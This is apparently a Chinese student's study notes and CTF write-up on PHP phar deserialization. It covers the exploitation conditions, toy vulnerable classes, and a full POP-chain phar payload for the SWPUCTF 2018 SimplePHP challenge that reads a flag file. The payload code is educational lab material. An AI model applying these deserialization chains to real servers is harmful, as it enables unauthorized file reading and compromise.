技术内容 / 本科的一些学习笔记和wp / phar反序列化
phar反序列化
phar反序列化
Phar反序列化phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
什么是phar文件
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
漏洞利用条件
phar可以上传到服务器端(存在文件上传)
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
实例1
<?php
class Test {
public $num = 2;
public function __destruct() {
if ($this->num ===1 ) {
echo 'flag{123}';
}
}
}
unserialize($_GET['data']);
payload
<?php
class Test {
public $num = 1;
}
$a = new Test()
echo serialize($a);
?>
phar
<?php
/*文件名*/
$phar = new Phar ( "a.phar" );//文件名
$phar->startBuffering ();
/*设置stub,必须以_HALT_COMPILER(); ?>结尾*/
$phar->setStub ( "<?php _HALT_COMPILER();?>");
/*添加要压缩的文件*/
$phar->addFromString ( "test1.txt", "test1" );
$phar->addFromString ( "test2.txt", "test2");
$phar->stopBuffering ();
?>
实例2
<?php
class Test {
public $num = 2;
public function __destruct() {
if ($this->num ===1 ) {
echo 'flag{123}';
}
}
}
// unserialize($_GET['data']);
echo file_get_contents('phar://a.phar/test2.txt');
?>
payload
<?php
class Test {
public $num = 1;
}
$test = new Test;
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($test);
$phar->addFromString ( "test1.txt", "test1");
$phar->addFromstring ( "test2.txt", "test2");
$phar->stopBuffering ();
?>
魔法函数
__get
对象访问受保护的属性,私有属性时,会触发__get魔术方法
__toString
对象转换成字符串时触发
__destruct
对象销毁触发
__construct
创建对象触发
SWPUCTF 2018]SimplePHP
思路:我们首先生成一个phar文件,其中meta值里面是对class.php的序列化值,然后上传,获取文件的路径和文件名。然后,通过file参数访问该文件,file参数会经过file_exists(),直接触发phar进行反序列化,触发漏洞。
构造class.php的pop链。
我们可以得到利用链:C1e4r::__destruct()的echo $this->test;
中的t h i s − > t e s t 被 当 作 字 符 串 , 此 时 当 this->test被当作字符串,此时当this−>test被当作字符串,此时当this->test=Show类时,调用Show::__toString()函数。设置$this->str['str']=Test类
因此$this->str['str']->source=Test类->source
此时Test类调用不存在的属性source,此时就会调用Test::__get函数并执行$this->get(source)
设置
$this->params["source"]="/var/www/html/f1ag.php"
然后执行
$this->file_get("/var/www/html/f1ag.php")
最后返回
base64_encode(file_get_contents("/var/www/html/f1ag.php"));
解码就可以得到flag了。
pop
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>